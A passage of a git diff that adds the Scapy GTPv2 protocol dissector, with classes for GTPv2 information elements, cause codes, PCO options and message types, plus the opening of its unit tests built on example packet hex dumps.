13: "S3 MME GTP-C interface", + 14: "S3 SGSN GTP-C interface", + 15: "S4 SGSN GTP-U interface", + 16: "S4 SGW GTP-U interface", + 17: "S4 SGSN GTP-C interface", + 18: "S16 SGSN GTP-C interface", + 19: "eNodeB GTP-U interface for DL data forwarding", + 20: "eNodeB GTP-U interface for UL data forwarding", + 21: "RNC GTP-U interface for data forwarding", + 22: "SGSN GTP-U interface for data forwarding", + 23: "SGW GTP-U interface for DL data forwarding", + 24: "Sm MBMS GW GTP-C interface", + 25: "Sn MBMS GW GTP-C interface", + 26: "Sm MME GTP-C interface", + 27: "Sn SGSN GTP-C interface", + 28: "SGW GTP-U interface for UL data forwarding", + 29: "Sn SGSN GTP-U interface", + 30: "S2b ePDG GTP-C interface", + 31: "S2b-U ePDG GTP-U interface", + 32: "S2b PGW GTP-C interface", + 33: "S2b-U PGW GTP-U interface", + 34: "S2a TWAN GTP-U interface", + 35: "S2a TWAN GTP-C interface", + 36: "S2a PGW GTP-C interface", + 37: "S2a PGW GTP-U interface", +} + + +class IE_FTEID(gtp.IE_Base): + name = "IE F-TEID" + fields_desc = [ByteEnumField("ietype", 87, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("ipv4_present", 0, 1), + BitField("ipv6_present", 0, 1), + BitEnumField("InterfaceType", 0, 6, INTERFACE_TYPES), + XIntField("GRE_Key", 0), + ConditionalField( + IPField("ipv4", RandIP()), lambda pkt: pkt.ipv4_present), + ConditionalField(XBitField("ipv6", "2001::", 128), + lambda pkt: pkt.ipv6_present)] + + +class IE_BearerContext(gtp.IE_Base): + name = "IE Bearer Context" + fields_desc = [ByteEnumField("ietype", 93, IEType), + ShortField("length", 0), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + PacketListField("IE_list", None, IE_Dispatcher, + length_from=lambda pkt: pkt.length)] + + +class IE_NotImplementedTLV(gtp.IE_Base): + name = "IE not implemented" + fields_desc = [ByteEnumField("ietype", 0, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + StrLenField("data", "", length_from=lambda x: x.length)] + + +class IE_IMSI(gtp.IE_Base): + name = "IE IMSI" + fields_desc = [ByteEnumField("ietype", 1, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + gtp.TBCDByteField("IMSI", "33607080910", + length_from=lambda x: x.length)] + + +# 3GPP TS 29.274 v16.1.0 table 8.4-1 +CAUSE_VALUES = { + # 0: Reserved. Shall not be sent and if received the Cause shall be treated + # as an invalid IE. + # 1: Reserved. + 2: "Local Detach", + 3: "Complete Detach", + 4: "RAT changed from 3GPP to Non-3GPP", + 5: "ISR deactivation", + 6: "Error Indication received from RNC/eNodeB/S4-SGSN/MME", + 7: "IMSI Detach Only", + 8: "Reactivation Requested", + 9: "PDN reconnection to this APN disallowed", + 10: "Access changed from Non-3GPP to 3GPP", + 11: "PDN connection inactivity timer expires", + 12: "PGW not responding", + 13: "Network Failure", + 14: "QoS parameter mismatch", + 15: "EPS to 5GS Mobility", + 16: "Request accepted", + 17: "Request accepted partially", + 18: "New PDN type due to network preference", + 19: "New PDN type due to single address bearer only", + # 20-63: Spare. This value range shall be used by Cause values in an + # acceptance response/triggered message. + 64: "Context Not Found", + 65: "Invalid Message Format", + 66: "Version not supported by next peer", + 67: "Invalid length", + 68: "Service not supported", + 69: "Mandatory IE incorrect", + 70: "Mandatory IE missing", + # 71: Shall not be used. See NOTE 2 and NOTE 3. + 72: "System failure", + 73: "No resources available", + 74: "Semantic error in the TFT operation", + 75: "Syntactic error in the TFT operation", + 76: "Semantic errors in packet filter(s)", + 77: "Syntactic errors in packet filter(s)", + 78: "Missing or unknown APN", + # 79: Shall not be used. See NOTE 2 and NOTE 3. + 80: "GRE key not found", + 81: "Relocation failure", + 82: "Denied in RAT", + 83: "Preferred PDN type not supported", + 84: "All dynamic addresses are occupied", + 85: "UE context without TFT already activated", + 86: "Protocol type not supported", + 87: "UE not responding", + 88: "UE refuses", + 89: "Service denied", + 90: "Unable to page UE", + 91: "No memory available", + 92: "User authentication failed", + 93: "APN access denied - no subscription", + 94: "Request rejected (reason not specified)", + 95: "P-TMSI Signature mismatch", + 96: "IMSI/IMEI not known", + 97: "Semantic error in the TAD operation", + 98: "Syntactic error in the TAD operation", + # 99: Shall not be used. See NOTE 2 and NOTE 3. + 100: "Remote peer not responding", + 101: "Collision with network initiated request", + 102: "Unable to page UE due to Suspension", + 103: "Conditional IE missing", + 104: "APN Restriction type Incompatible with currently active PDN " + "connection", + 105: "Invalid overall length of the triggered response message and a " + "piggybacked initial message", + 106: "Data forwarding not supported", + 107: "Invalid reply from remote peer", + 108: "Fallback to GTPv1", + 109: "Invalid peer", + 110: "Temporarily rejected due to handover/TAU/RAU procedure in progress", + 111: "Modifications not limited to S1-U bearers", + 112: "Request rejected for a PMIPv6 reason", + 113: "APN Congestion", + 114: "Bearer handling not supported", + 115: "UE already re-attached", + 116: "Multiple PDN connections for a given APN not allowed", + 117: "Target access restricted for the subscriber", + # 118: Shall not be used. See NOTE 2 and NOTE 3. + 119: "MME/SGSN refuses due to VPLMN Policy", + 120: "GTP-C Entity Congestion", + 121: "Late Overlapping Request", + 122: "Timed out Request", + 123: "UE is temporarily not reachable due to power saving", + 124: "Relocation failure due to NAS message redirection", + 125: "UE not authorised by OCS or external AAA Server", + 126: "Multiple accesses to a PDN connection not allowed", + 127: "Request rejected due to UE capability", + 128: "S1-U Path Failure", + 129: "5GC not allowed", + # 130-239: Spare. For future use in a triggered/response message. + # See NOTE 4. + # 240-255: Spare. For future use in an initial/request message. See NOTE 5. +} + + +class IE_Cause(gtp.IE_Base): + name = "IE Cause" + fields_desc = [ByteEnumField("ietype", 2, IEType), + ShortField("length", 6), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteEnumField("Cause", 1, CAUSE_VALUES), + BitField("SPARE", 0, 5), + BitField("PCE", 0, 1), + BitField("BCE", 0, 1), + BitField("CS", 0, 1)] + + +class IE_RecoveryRestart(gtp.IE_Base): + name = "IE Recovery Restart" + fields_desc = [ByteEnumField("ietype", 3, IEType), + ShortField("length", 5), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteField("restart_counter", 0)] + + +class IE_APN(gtp.IE_Base): + name = "IE APN" + fields_desc = [ByteEnumField("ietype", 71, IEType), + FieldLenField("length", None, length_of="APN", + adjust=lambda pkt, x: x + 4, fmt="H"), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + gtp.APNStrLenField("APN", "internet", + length_from=lambda x: x.length)] + + +class IE_AMBR(gtp.IE_Base): + name = "IE AMBR" + fields_desc = [ByteEnumField("ietype", 72, IEType), + ShortField("length", 12), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + IntField("AMBR_Uplink", 0), + IntField("AMBR_Downlink", 0)] + + +class IE_MSISDN(gtp.IE_Base): + name = "IE MSISDN" + fields_desc = [ByteEnumField("ietype", 76, IEType), + FieldLenField("length", None, length_of="digits", + adjust=lambda pkt, x: x + 4, fmt="H"), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + gtp.TBCDByteField("digits", "33123456789", + length_from=lambda x: x.length)] + + +class IE_Indication(gtp.IE_Base): + name = "IE Indication" + fields_desc = [ByteEnumField("ietype", 77, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("DAF", 0, 1), + BitField("DTF", 0, 1), + BitField("HI", 0, 1), + BitField("DFI", 0, 1), + BitField("OI", 0, 1), + BitField("ISRSI", 0, 1), + BitField("ISRAI", 0, 1), + BitField("SGWCI", 0, 1), + BitField("SQCI", 0, 1), + BitField("UIMSI", 0, 1), + BitField("CFSI", 0, 1), + BitField("CRSI", 0, 1), + BitField("PS", 0, 1), + BitField("PT", 0, 1), + BitField("SI", 0, 1), + BitField("MSV", 0, 1), + + ConditionalField( + BitField("RetLoc", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("PBIC", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("SRNI", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("S6AF", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("S4AF", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("MBMDT", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("ISRAU", 0, 1), lambda pkt: pkt.length > 2), + ConditionalField( + BitField("CCRSI", 0, 1), lambda pkt: pkt.length > 2), + + ConditionalField( + BitField("CPRAI", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("ARRL", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("PPOFF", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("PPON", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("PPSI", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("CSFBI", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("CLII", 0, 1), lambda pkt: pkt.length > 3), + ConditionalField( + BitField("CPSR", 0, 1), lambda pkt: pkt.length > 3), + + ] + + +PDN_TYPES = { + 1: "IPv4", + 2: "IPv6", + 3: "IPv4/IPv6", +} + +PCO_OPTION_TYPES = { + 3: "IPv4", + 129: "Primary DNS Server IP address", + 130: "Primary NBNS Server IP address", + 131: "Secondary DNS Server IP address", + 132: "Secondary NBNS Server IP address", +} + + +class PCO_Option(Packet): + def extract_padding(self, pkt): + return "", pkt + + +class PCO_IPv4(PCO_Option): + name = "IPv4" + fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), + ByteField("length", 0), + IPField("address", RandIP())] + + +class PCO_Primary_DNS(PCO_Option): + name = "Primary DNS Server IP Address" + fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), + ByteField("length", 0), + IPField("address", RandIP())] + + +class PCO_Primary_NBNS(PCO_Option): + name = "Primary DNS Server IP Address" + fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), + ByteField("length", 0), + IPField("address", RandIP())] + + +class PCO_Secondary_DNS(PCO_Option): + name = "Secondary DNS Server IP Address" + fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), + ByteField("length", 0), + IPField("address", RandIP())] + + +class PCO_Secondary_NBNS(PCO_Option): + name = "Secondary NBNS Server IP Address" + fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES), + ByteField("length", 0), + IPField("address", RandIP())] + + +PCO_PROTOCOL_TYPES = { + 0x0001: 'P-CSCF IPv6 Address Request', + 0x0003: 'DNS Server IPv6 Address Request', + 0x0005: 'MS Support of Network Requested Bearer Control indicator', + 0x000a: 'IP Allocation via NAS', + 0x000d: 'DNS Server IPv4 Address Request', + 0x000c: 'P-CSCF IPv4 Address Request', + 0x0010: 'IPv4 Link MTU Request', + 0x8021: 'IPCP', + 0xc023: 'Password Authentication Protocol', + 0xc223: 'Challenge Handshake Authentication Protocol', +} + +PCO_OPTION_CLASSES = { + 3: PCO_IPv4, + 129: PCO_Primary_DNS, + 130: PCO_Primary_NBNS, + 131: PCO_Secondary_DNS, + 132: PCO_Secondary_NBNS, +} + + +def PCO_option_dispatcher(s): + """Choose the correct PCO element.""" + option = orb(s[0]) + + cls = PCO_OPTION_CLASSES.get(option, Raw) + return cls(s) + + +def len_options(pkt): + return pkt.length - 4 if pkt.length else 0 + + +class PCO_P_CSCF_IPv6_Address_Request(PCO_Option): + name = "PCO PCO-P CSCF IPv6 Address Request" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ConditionalField(XBitField("address", + "2001:db8:0:42::", 128), + lambda pkt: pkt.length)] + + +class PCO_DNS_Server_IPv6(PCO_Option): + name = "PCO DNS Server IPv6 Address Request" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ConditionalField(XBitField("address", + "2001:db8:0:42::", 128), + lambda pkt: pkt.length)] + + +class PCO_SOF(PCO_Option): + name = "PCO MS Support of Network Requested Bearer Control indicator" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ] + + +class PCO_PPP(PCO_Option): + name = "PPP IP Control Protocol" + fields_desc = [ByteField("Code", 0), + ByteField("Identifier", 0), + ShortField("length", 0), + PacketListField("Options", None, PCO_option_dispatcher, + length_from=len_options)] + + def extract_padding(self, pkt): + return "", pkt + + +class PCO_IP_Allocation_via_NAS(PCO_Option): + name = "PCO IP Address allocation via NAS Signaling" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + PacketListField("Options", None, PCO_option_dispatcher, + length_from=len_options)] + + +class PCO_P_CSCF_IPv4_Address_Request(PCO_Option): + name = "PCO PCO-P CSCF IPv4 Address Request" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ConditionalField(IPField("address", RandIP()), + lambda pkt: pkt.length)] + + +class PCO_DNS_Server_IPv4(PCO_Option): + name = "PCO DNS Server IPv4 Address Request" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ConditionalField(IPField("address", RandIP()), + lambda pkt: pkt.length)] + + +class PCO_IPv4_Link_MTU_Request(PCO_Option): + name = "PCO IPv4 Link MTU Request" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + ConditionalField(ShortField("MTU_size", 1500), + lambda pkt: pkt.length)] + + +class PCO_IPCP(PCO_Option): + name = "PCO Internet Protocol Control Protocol" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + PacketField("PPP", None, PCO_PPP)] + + +class PCO_PPP_Auth(PCO_Option): + name = "PPP Password Authentication Protocol" + fields_desc = [ByteField("Code", 0), + ByteField("Identifier", 0), + ShortField("length", 0), + ByteField("PeerID_length", 0), + ConditionalField(StrFixedLenField( + "PeerID", + "", + length_from=lambda pkt: pkt.PeerID_length), + lambda pkt: pkt.PeerID_length), + ByteField("Password_length", 0), + ConditionalField( + StrFixedLenField( + "Password", + "", + length_from=lambda pkt: pkt.Password_length), + lambda pkt: pkt.Password_length)] + + +class PCO_PasswordAuthentificationProtocol(PCO_Option): + name = "PCO Password Authentication Protocol" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + PacketField("PPP", None, PCO_PPP_Auth)] + + +class PCO_PPP_Challenge(PCO_Option): + name = "PPP Password Authentication Protocol" + fields_desc = [ByteField("Code", 0), + ByteField("Identifier", 0), + ShortField("length", 0), + ByteField("value_size", 0), + ConditionalField(StrFixedLenField( + "value", "", + length_from=lambda pkt: pkt.value_size), + lambda pkt: pkt.value_size), + ConditionalField(StrFixedLenField( + "name", "", + length_from=lambda pkt: pkt.length - pkt.value_size - 5), # noqa: E501 + lambda pkt: pkt.length)] + + +class PCO_ChallengeHandshakeAuthenticationProtocol(PCO_Option): + name = "PCO Password Authentication Protocol" + fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES), + ByteField("length", 0), + PacketField("PPP", None, PCO_PPP_Challenge)] + + +PCO_PROTOCOL_CLASSES = { + 0x0001: PCO_P_CSCF_IPv6_Address_Request, + 0x0003: PCO_DNS_Server_IPv6, + 0x0005: PCO_SOF, + 0x000a: PCO_IP_Allocation_via_NAS, + 0x000c: PCO_P_CSCF_IPv4_Address_Request, + 0x000d: PCO_DNS_Server_IPv4, + 0x0010: PCO_IPv4_Link_MTU_Request, + 0x8021: PCO_IPCP, + 0xc023: PCO_PasswordAuthentificationProtocol, + 0xc223: PCO_ChallengeHandshakeAuthenticationProtocol, +} + + +def PCO_protocol_dispatcher(s): + """Choose the correct PCO element.""" + proto_num = orb(s[0]) * 256 + orb(s[1]) + cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) + return cls(s) + + +class IE_PCO(gtp.IE_Base): + name = "IE Protocol Configuration Options" + fields_desc = [ByteEnumField("ietype", 78, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("Extension", 0, 1), + BitField("SPARE", 0, 4), + BitField("PPP", 0, 3), + PacketListField("Protocols", None, PCO_protocol_dispatcher, + length_from=lambda pkt: pkt.length - 1)] + + +class IE_PAA(gtp.IE_Base): + name = "IE PAA" + fields_desc = [ByteEnumField("ietype", 79, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("SPARE", 0, 5), + BitEnumField("PDN_type", None, 3, PDN_TYPES), + ConditionalField( + ByteField("ipv6_prefix_length", 8), + lambda pkt: pkt.PDN_type in (2, 3)), + ConditionalField( + XBitField("ipv6", "2001:db8:0:42::", 128), + lambda pkt: pkt.PDN_type in (2, 3)), + ConditionalField( + IPField("ipv4", 0), lambda pkt: pkt.PDN_type in (1, 3)), + ] + + +class IE_Bearer_QoS(gtp.IE_Base): + name = "IE Bearer Quality of Service" + fields_desc = [ByteEnumField("ietype", 80, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("SPARE", 0, 1), + BitField("PCI", 0, 1), + BitField("PriorityLevel", 0, 4), + BitField("SPARE", 0, 1), + BitField("PVI", 0, 1), + ByteField("QCI", 0), + BitField("MaxBitRateForUplink", 0, 40), + BitField("MaxBitRateForDownlink", 0, 40), + BitField("GuaranteedBitRateForUplink", 0, 40), + BitField("GuaranteedBitRateForDownlink", 0, 40)] + + +class IE_ChargingID(gtp.IE_Base): + name = "IE Charging ID" + fields_desc = [ByteEnumField("ietype", 94, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + IntField("ChargingID", 0)] + + +class IE_ChargingCharacteristics(gtp.IE_Base): + name = "IE Charging ID" + fields_desc = [ByteEnumField("ietype", 95, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + XShortField("ChargingCharacteristric", 0)] + + +class IE_PDN_type(gtp.IE_Base): + name = "IE PDN Type" + fields_desc = [ByteEnumField("ietype", 99, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("SPARE", 0, 5), + BitEnumField("PDN_type", None, 3, PDN_TYPES)] + + +class IE_UE_Timezone(gtp.IE_Base): + name = "IE UE Time zone" + fields_desc = [ByteEnumField("ietype", 114, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteField("Timezone", 0), + ByteField("DST", 0)] + + +class IE_Port_Number(gtp.IE_Base): + name = "IE Port Number" + fields_desc = [ByteEnumField("ietype", 126, IEType), + ShortField("length", 2), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ShortField("PortNumber", RandShort())] + + +class IE_APN_Restriction(gtp.IE_Base): + name = "IE APN Restriction" + fields_desc = [ByteEnumField("ietype", 127, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + ByteField("APN_Restriction", 0)] + + +class IE_SelectionMode(gtp.IE_Base): + name = "IE Selection Mode" + fields_desc = [ByteEnumField("ietype", 128, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + BitField("SPARE", 0, 6), + BitField("SelectionMode", 0, 2)] + + +class IE_MMBR(gtp.IE_Base): + name = "IE Max MBR/APN-AMBR (MMBR)" + fields_desc = [ByteEnumField("ietype", 72, IEType), + ShortField("length", None), + BitField("CR_flag", 0, 4), + BitField("instance", 0, 4), + IntField("uplink_rate", 0), + IntField("downlink_rate", 0)] + + +# 3GPP TS 29.274 v16.1.0 section 8.67. +class IE_PrivateExtension(gtp.IE_Base): + name = "Private Extension" + fields_desc = [ + ByteEnumField("ietype", 255, IEType), + ShortField("length", None), + BitField("SPARE", 0, 4), + BitField("instance", 0, 4), + ShortEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), + ] + + def extract_padding(self, s): + return s[:self.length], '' + + +ietypecls = {1: IE_IMSI, + 2: IE_Cause, + 3: IE_RecoveryRestart, + 71: IE_APN, + 72: IE_AMBR, + 73: IE_EPSBearerID, + 74: IE_IPv4, + 75: IE_MEI, + 76: IE_MSISDN, + 77: IE_Indication, + 78: IE_PCO, + 79: IE_PAA, + 80: IE_Bearer_QoS, + 82: IE_RAT, + 83: IE_ServingNetwork, + 86: IE_ULI, + 87: IE_FTEID, + 93: IE_BearerContext, + 94: IE_ChargingID, + 95: IE_ChargingCharacteristics, + 99: IE_PDN_type, + 114: IE_UE_Timezone, + 126: IE_Port_Number, + 127: IE_APN_Restriction, + 128: IE_SelectionMode, + 161: IE_MMBR, + 255: IE_PrivateExtension} + +# +# GTPv2 Commands +# 3GPP TS 29.060 V9.1.0 (2009-12) +# + + +class GTPV2Command(Packet): + fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] + + +class GTPV2EchoRequest(GTPV2Command): + name = "GTPv2 Echo Request" + + +class GTPV2EchoResponse(GTPV2Command): + name = "GTPv2 Echo Response" + + +class GTPV2CreateSessionRequest(GTPV2Command): + name = "GTPv2 Create Session Request" + + +class GTPV2CreateSessionResponse(GTPV2Command): + name = "GTPv2 Create Session Response" + + +class GTPV2DeleteSessionRequest(GTPV2Command): + name = "GTPv2 Delete Session Request" + + +class GTPV2DeleteSessionResponse(GTPV2Command): + name = "GTPv2 Delete Session Request" + + +class GTPV2ModifyBearerCommand(GTPV2Command): + name = "GTPv2 Modify Bearer Command" + + +class GTPV2ModifyBearerFailureNotification(GTPV2Command): + name = "GTPv2 Modify Bearer Command" + + +class GTPV2DownlinkDataNotifFailureIndication(GTPV2Command): + name = "GTPv2 Downlink Data Notification Failure Indication" + + +class GTPV2ModifyBearerRequest(GTPV2Command): + name = "GTPv2 Modify Bearer Request" + + +class GTPV2ModifyBearerResponse(GTPV2Command): + name = "GTPv2 Modify Bearer Response" + + +class GTPV2UpdateBearerRequest(GTPV2Command): + name = "GTPv2 Update Bearer Request" + + +class GTPV2UpdateBearerResponse(GTPV2Command): + name = "GTPv2 Update Bearer Response" + + +class GTPV2DeleteBearerRequest(GTPV2Command): + name = "GTPv2 Delete Bearer Request" + + +class GTPV2SuspendNotification(GTPV2Command): + name = "GTPv2 Suspend Notification" + + +class GTPV2SuspendAcknowledge(GTPV2Command): + name = "GTPv2 Suspend Acknowledge" + + +class GTPV2ResumeNotification(GTPV2Command): + name = "GTPv2 Resume Notification" + + +class GTPV2ResumeAcknowledge(GTPV2Command): + name = "GTPv2 Resume Acknowledge" + + +class GTPV2DeleteBearerResponse(GTPV2Command): + name = "GTPv2 Delete Bearer Response" + + +class GTPV2CreateIndirectDataForwardingTunnelRequest(GTPV2Command): + name = "GTPv2 Create Indirect Data Forwarding Tunnel Request" + + +class GTPV2CreateIndirectDataForwardingTunnelResponse(GTPV2Command): + name = "GTPv2 Create Indirect Data Forwarding Tunnel Response" + + +class GTPV2DeleteIndirectDataForwardingTunnelRequest(GTPV2Command): + name = "GTPv2 Delete Indirect Data Forwarding Tunnel Request" + + +class GTPV2DeleteIndirectDataForwardingTunnelResponse(GTPV2Command): + name = "GTPv2 Delete Indirect Data Forwarding Tunnel Response" + + +class GTPV2ReleaseBearerRequest(GTPV2Command): + name = "GTPv2 Release Bearer Request" + + +class GTPV2ReleaseBearerResponse(GTPV2Command): + name = "GTPv2 Release Bearer Response" + + +class GTPV2DownlinkDataNotif(GTPV2Command): + name = "GTPv2 Download Data Notification" + + +class GTPV2DownlinkDataNotifAck(GTPV2Command): + name = "GTPv2 Download Data Notification Acknowledgment" + + +bind_layers(GTPHeader, GTPV2EchoRequest, gtp_type=1, T=0) +bind_layers(GTPHeader, GTPV2EchoResponse, gtp_type=2, T=0) +bind_layers(GTPHeader, GTPV2CreateSessionRequest, gtp_type=32) +bind_layers(GTPHeader, GTPV2CreateSessionResponse, gtp_type=33) +bind_layers(GTPHeader, GTPV2ModifyBearerRequest, gtp_type=34) +bind_layers(GTPHeader, GTPV2ModifyBearerResponse, gtp_type=35) +bind_layers(GTPHeader, GTPV2DeleteSessionRequest, gtp_type=36) +bind_layers(GTPHeader, GTPV2DeleteSessionResponse, gtp_type=37) +bind_layers(GTPHeader, GTPV2ModifyBearerCommand, gtp_type=64) +bind_layers(GTPHeader, GTPV2ModifyBearerFailureNotification, gtp_type=65) +bind_layers(GTPHeader, GTPV2DownlinkDataNotifFailureIndication, gtp_type=70) +bind_layers(GTPHeader, GTPV2UpdateBearerRequest, gtp_type=97) +bind_layers(GTPHeader, GTPV2UpdateBearerResponse, gtp_type=98) +bind_layers(GTPHeader, GTPV2DeleteBearerRequest, gtp_type=99) +bind_layers(GTPHeader, GTPV2DeleteBearerResponse, gtp_type=100) +bind_layers(GTPHeader, GTPV2SuspendNotification, gtp_type=162) +bind_layers(GTPHeader, GTPV2SuspendAcknowledge, gtp_type=163) +bind_layers(GTPHeader, GTPV2ResumeNotification, gtp_type=164) +bind_layers(GTPHeader, GTPV2ResumeAcknowledge, gtp_type=165) +bind_layers( + GTPHeader, GTPV2CreateIndirectDataForwardingTunnelRequest, gtp_type=166) +bind_layers( + GTPHeader, GTPV2CreateIndirectDataForwardingTunnelResponse, gtp_type=167) +bind_layers( + GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelRequest, gtp_type=168) +bind_layers( + GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelResponse, gtp_type=169) +bind_layers(GTPHeader, GTPV2ReleaseBearerRequest, gtp_type=170) +bind_layers(GTPHeader, GTPV2ReleaseBearerResponse, gtp_type=171) +bind_layers(GTPHeader, GTPV2DownlinkDataNotif, gtp_type=176) +bind_layers(GTPHeader, GTPV2DownlinkDataNotifAck, gtp_type=177) diff --git a/libs/scapy/contrib/gtp_v2.uts b/libs/scapy/contrib/gtp_v2.uts new file mode 100755 index 0000000..a1e43cc --- /dev/null +++ b/libs/scapy/contrib/gtp_v2.uts @@ -0,0 +1,347 @@ +# GTPv2 unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('gtp_v2')" -t scapy/contrib/gtp_v2.uts + ++ GTPv2 + += GTPHeader v2, basic instantiation +gtp = IP()/UDP(dport=2123)/GTPHeader(gtp_type=1) +gtp.dport == 2123 and gtp.gtp_type == 1 + += GTPV2EchoRequest, basic instantiation +gtp = IP()/UDP(dport=2123) / GTPHeader(seq=12345) / GTPV2EchoRequest() +gtp.dport == 2123 and gtp.seq == 12345 and gtp.gtp_type == 1 and gtp.T == 0 + += GTPV2CreateSessionRequest, basic instantiation +gtp = IP() / UDP(dport=2123) / \ + GTPHeader(gtp_type="create_session_req", teid=2807, seq=12345) / \ + GTPV2CreateSessionRequest() +gtp.dport == 2123 and gtp.teid == 2807 and gtp.seq == 12345 + += GTPV2EchoRequest, dissection +h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100030001000daa000000003f1f382f" +gtp = Ether(hex_bytes(h)) +gtp.gtp_type == 1 + += GTPV2EchoResponse, dissection +h = "3333333333332222222222228100e384080045fc002fd6d70000f21180d40a2a00010a2a0002084b084b001b00004002000f000001000300010001020002001000731cd7c5" +gtp = Ether(hex_bytes(h)) +gtp.gtp_type == 2 + += GTPV2ModifyBearerRequest, dissection +h = "3333333333332222222222228100a384080045b8004300000000fc1185350a2a00010a2a00027a76084b002f6c344822002392e9e1143652540052000100065d00120049000100055700090080000010927f000002ac79a28e" +gtp = Ether(hex_bytes(h)) +gtp.gtp_type == 34 + += IE_IMSI, dissection +h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd00000000661759000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100235700090385000010927f00000250001600580700000000000000000000000000000000000000007200020040005311004c" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.IMSI == b"2080112345670000" + += IE_IMSI, basic instantiation +ie = IE_IMSI(ietype='IMSI', length=8, IMSI='2080112345670000') +ie.ietype == 1 and ie.IMSI == b'2080112345670000' + += IE_Cause, dissection +h = "3333333333332222222222228100838408004588004a00000000fd1193160a2a00010a2a0002084b824600366a744823002a45e679235ea151000200020010005d001800490001006c0200020010005700090081000010927f000002558d3b69" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.Cause == 16 + += IE_Cause, basic instantiation +ie = IE_Cause( + ietype='Cause', length=2, Cause='Request Accepted', PCE=1, BCE=0, CS=0) +ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 1 and ie.BCE == 0 and ie.CS == 0 + += IE_Cause, basic instantiation 2 +ie = IE_Cause( + ietype='Cause', length=2, Cause='Request Accepted', PCE=0, BCE=1, CS=0) +ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 1 and ie.CS == 0 + += IE_Cause, basic instantiation 3 +ie = IE_Cause( + ietype='Cause', length=2, Cause='Request Accepted', PCE=0, BCE=0, CS=1) +ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 0 and ie.CS == 1 + += IE_RecoveryRestart, dissection +h = "3333333333332222222222228100838408004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e400100095e4b1f00030001000daa000000003f1f382f" +gtp = Ether(hex_bytes(h)) +ie = gtp.IE_list[0] +ie.ietype == 3 and ie.restart_counter == 13 + += IE_RecoveryRestart, basic instantiation +ie = IE_RecoveryRestart( + ietype='Recovery 